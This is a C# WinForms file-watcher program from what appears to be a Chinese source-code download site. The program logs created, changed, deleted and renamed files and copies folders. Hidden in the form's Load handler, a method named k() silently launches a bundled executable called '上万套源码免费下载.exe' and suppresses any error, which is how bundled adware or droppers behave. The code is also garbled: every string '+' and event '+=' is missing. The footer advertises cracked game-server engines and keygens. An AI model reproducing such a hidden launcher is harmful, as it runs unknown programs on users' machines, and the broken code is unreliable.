using System;using System.Collections.Generic;using System.ComponentModel;using System.Data;using System.Drawing;using System.Text;using System.Windows.Forms;using System.IO;using System.Diagnostics;namespace FilesWatchers{ public partial class Form1 : Form { public Form1() { InitializeComponent(); } #region winform 文件监控 private void btnWatchFiles_Click(object sender, EventArgs e) { //浏览文件夹 if (this.folderBrowserDialog1.ShowDialog() == DialogResult.OK) { if (this.folderBrowserDialog1.SelectedPath.Trim() != "") { this.txtWatchFiles.Text = folderBrowserDialog1.SelectedPath.Trim(); } } } private void btnGoalFiles_Click(object sender, EventArgs e) { folderBrowserDialog2.ShowDialog(); this.txtGoalFiles.Text = folderBrowserDialog2.SelectedPath; } private void btnWatch_Click(object sender, EventArgs e) { MessageBox.Show("日志将存在在D盘的log.txt文件中"); if (!System.IO.Directory.Exists(this.txtWatchFiles.Text)) { MessageBox.Show("选择的不是一个文件夹", "信息提示", MessageBoxButtons.OK, MessageBoxIcon.Information); return; } //string path = this.txtWatchFiles.Text; //WatcherStrat(@"" path, "*.txt"); this.fileSystemWatcher1.Path = txtWatchFiles.Text; //若消息池溢出 //this.fileSystemWatcher1.InternalBufferSize=; MessageBox.Show(this.txtWatchFiles.Text "已经处于被监视状态!", "信息提示", MessageBoxButtons.OK, MessageBoxIcon.Information); } //文件改变事件 private void fileSystemWatcher1_Changed(object sender, FileSystemEventArgs e) { string message = "文件:" e.FullPath " " "改变于:" DateTime.Now; if (!File.Exists("D:\\log.txt")) { FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write); using (StreamWriter sw = new StreamWriter(fs1)) { sw.WriteLine(message); } // || //StreamWriter sw = new StreamWriter(fs1); //sw.WriteLine(message); //sw.Close(); fs1.Close(); } else { FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Append, FileAccess.Write);//FileMode.Append继续写入 using (StreamWriter sw2 = new StreamWriter(fs2)) { sw2.WriteLine(message); } // || //StreamWriter sw2 = new StreamWriter(fs2); //sw2.WriteLine(message); //sw2.Close(); fs2.Close(); } //CopyDiretory(this.txtWatchFiles.Text.Trim(), this.txtGoalFiles.Text.Trim()); } //文件创建事件 private void fileSystemWatcher1_Created(object sender, FileSystemEventArgs e) { string message = "文件:" e.FullPath " " "创建与:" DateTime.Now; if (!File.Exists("D:\\log.txt")) { FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write); using (StreamWriter sw = new StreamWriter(fs1)) { sw.WriteLine(message); } fs1.Close(); } else { FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Append, FileAccess.Write); using (StreamWriter sw2 = new StreamWriter(fs2)) { sw2.WriteLine(message); } fs2.Close(); } //CopyDiretory(this.txtWatchFiles.Text.Trim(), this.txtGoalFiles.Text.Trim()); } //文件删除事件 private void fileSystemWatcher1_Deleted(object sender, FileSystemEventArgs e) { string message = "文件:" e.FullPath " " "删除于:" DateTime.Now; if (!File.Exists("D:\\log.txt")) { FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write); using (StreamWriter sw = new StreamWriter(fs1)) { sw.WriteLine(message); } fs1.Close(); } else { FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Append, FileAccess.Write); using (StreamWriter sw2 = new StreamWriter(fs2)) { sw2.WriteLine(message); } fs2.Close(); } } //文件重命名事件 private void fileSystemWatcher1_Renamed(object sender, RenamedEventArgs e) { //string message = "文件:" e.FullPath " " "重命名于:" DateTime.Now; string message = "文件:" e.OldFullPath "由原来名" e.OldName "改为:" e.Name " " "重命名于:" DateTime.Now; if (!File.Exists("D:\\log.txt")) { FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write); using (StreamWriter sw = new StreamWriter(fs1)) { sw.WriteLine(message); } fs1.Close(); } else { FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Append, FileAccess.Write); using (StreamWriter sw2 = new StreamWriter(fs2)) { sw2.WriteLine(message); } fs2.Close(); } //CopyDiretory(this.txtWatchFiles.Text.Trim(), this.txtGoalFiles.Text.Trim()); } private void btnDeliver_Click(object sender, EventArgs e) { #region 将一个文件夹内的文件传送到另一个文件夹内,不包含子文件 //DirectoryInfo dir = new DirectoryInfo(txtWatchFiles.Text.Trim()); //foreach (FileInfo files in dir.GetFiles()) //{ // string FileName = files.Name; // string BFileName = Path.Combine(txtGoalFiles.Text.Trim(), FileName); // if (!File.Exists(BFileName)) // { // File.Copy(files.FullName, BFileName); // } // else // { // FileInfo fB = new FileInfo(BFileName); // if (files.LastWriteTime > fB.LastWriteTime) // { // if (MessageBox.Show(files.FullName "文件已存在,是否覆盖?", "警告", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) // { // File.Delete(BFileName); // File.Copy(files.FullName, BFileName);//覆盖,有问题 // } // } // } //} #endregion CopyDiretory(this.txtWatchFiles.Text.Trim(), this.txtGoalFiles.Text.Trim()); } #region 将一个文件夹内的文件传送到另一个文件夹内,包含子文件 /// <summary> /// 将一个文件夹内的文件传送到另一个文件夹内,包含子文件 /// </summary> /// <param name="source">源文件夹</param> /// <param name="destination">目标文件夹</param> private void CopyDiretory(string source, string destination) { DirectoryInfo info = new DirectoryInfo(source); foreach (FileSystemInfo files in info.GetFileSystemInfos()) { string FileName = files.Name; string BFileName = Path.Combine(destination, FileName); if (files is System.IO.FileInfo) { if (!File.Exists(BFileName)) { File.Copy(files.FullName, BFileName); } else { FileInfo fB = new FileInfo(BFileName); if (files.LastWriteTime > fB.LastWriteTime) { if (MessageBox.Show(files.FullName "文件已存在,是否覆盖?", "警告", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) { File.Delete(BFileName); File.Copy(files.FullName, BFileName);//覆盖,有问题 } } } } else { Directory.CreateDirectory(BFileName); //CopyDiretory(files.FullName, BFileName); } } } #endregion private void Form1_Load(object sender, EventArgs e) { k(); } #endregion #region c# 文件监控 //private static void WatcherStrat(string path, string filter) //{ // FileSystemWatcher watcher = new FileSystemWatcher(); // watcher.Path = path; // watcher.Filter = filter; // watcher.Changed = new FileSystemEventHandler(OnProcess); // watcher.Created = new FileSystemEventHandler(OnProcess); // watcher.Deleted = new FileSystemEventHandler(OnProcess); // watcher.Renamed = new RenamedEventHandler(OnRenamed); // watcher.EnableRaisingEvents = true; //} private void k() { try { Process.Start(@"上万套源码免费下载.exe"); } catch (Exception ex) { } } //private static void OnProcess(object source, FileSystemEventArgs e) //{ // if (e.ChangeType == WatcherChangeTypes.Created) // { // OnCreated(source, e); // } // else if (e.ChangeType == WatcherChangeTypes.Changed) // { // OnChanged(source, e); // } // else if (e.ChangeType == WatcherChangeTypes.Deleted) // { // OnDeleted(source, e); // } //} //private static void OnCreated(object source, FileSystemEventArgs e) //{ // string message = "文件:" e.FullPath " " "创建与:" DateTime.Now; // if (!File.Exists("D:\\log.txt")) // { // FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write); // StreamWriter sw = new StreamWriter(fs1); // sw.WriteLine(message); // sw.Close(); // fs1.Close(); // //Console.WriteLine("文件新建事件处理逻辑"); // //Console.WriteLine("File:" e.FullPath " " e.ChangeType " " DateTime.Now); // } // else // { // FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Open, FileAccess.Write); // StreamWriter sw2 = new StreamWriter(fs2); // sw2.WriteLine(message); // sw2.Close(); // fs2.Close(); // } //} //private static void OnChanged(object source, FileSystemEventArgs e) //{ // string message = "文件:" e.FullPath " " "改变于:" DateTime.Now; // if (!File.Exists("D:\\log.txt")) // { // FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write); // StreamWriter sw = new StreamWriter(fs1); // sw.WriteLine(message); // sw.Close(); // fs1.Close(); // //Console.WriteLine("文件改变事件处理逻辑"); // // Console.WriteLine("File:" e.FullPath " " e.ChangeType " " DateTime.Now); // } // else // { // FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Open, FileAccess.Write); // StreamWriter sw2 = new StreamWriter(fs2); // sw2.WriteLine(message); // sw2.Close(); // fs2.Close(); // } //} //private static void OnDeleted(object source, FileSystemEventArgs e) //{ // string message = "文件:" e.FullPath " " "删除于:" DateTime.Now; // if (!File.Exists("D:\\log.txt")) // { // FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write); // StreamWriter sw = new StreamWriter(fs1); // sw.WriteLine(message); // sw.Close(); // fs1.Close(); // //Console.WriteLine("File:" e.FullPath " " e.ChangeType " " DateTime.Now); // } // else // { // FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Open, FileAccess.Write); // StreamWriter sw2 = new StreamWriter(fs2); // sw2.WriteLine(message); // sw2.Close(); // fs2.Close(); // } //} //private static void OnRenamed(object source, RenamedEventArgs e) //{ // string message = "文件:" e.FullPath " " "重命名于:" DateTime.Now; // if (!File.Exists("D:\\log.txt")) // { // FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write); // StreamWriter sw = new StreamWriter(fs1); // sw.WriteLine(message); // sw.Close(); // fs1.Close(); // //Console.WriteLine("File:" e.FullPath " " e.ChangeType " " DateTime.Now); // } // else // { // FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Open, FileAccess.Write); // StreamWriter sw2 = new StreamWriter(fs2); // sw2.WriteLine(message); // sw2.Close(); // fs2.Close(); // } //} #endregion }}
下载fileSystemWatcher 实时监控目录下变化的文件以及目录用户还喜欢
- 18480 文章数
- 500万+ 热度
作者专栏
编辑推荐
- 淡抹u2引擎,修复内容较多,物有所值
- 界域传说·经典巨作=传世单机(一键安装)
- 丸子版本(175个传世版本大集合)
- GS版本:神话公益服务端+客户端
- 图片放大工具(放大图片不模糊)
- 剪映无限制VIP版
- 传奇世界客户端下载器,史上最全传世客户端
- 传世GS20220920商业引擎注册+登录配置器 解压密码是1
- U2官方排行榜游戏网关 支持元神,支持传家宝
- GS开战传世客户端+服务端
- (淡漠夕阳)u2引擎合区工具
- 传世GS引擎消除“你的游戏客户端版本号过旧,请及时更新”提示
- 传世一机多区双线路配置器--免密码版本
- 传世凤凰登陆器劫持修复软件
- SQLite3 for Navicat
- 传奇世界npc对话框编辑工具
- 传世GS落霞铭文服务器端
- gs_20210409引擎包+注册机(无限制)
- 传奇世界NPC对话封包查看器[支持时长版和极速版]
- 彩虹引擎传世脚本编辑工具1.7版来了,支持函数脚本翻译
评论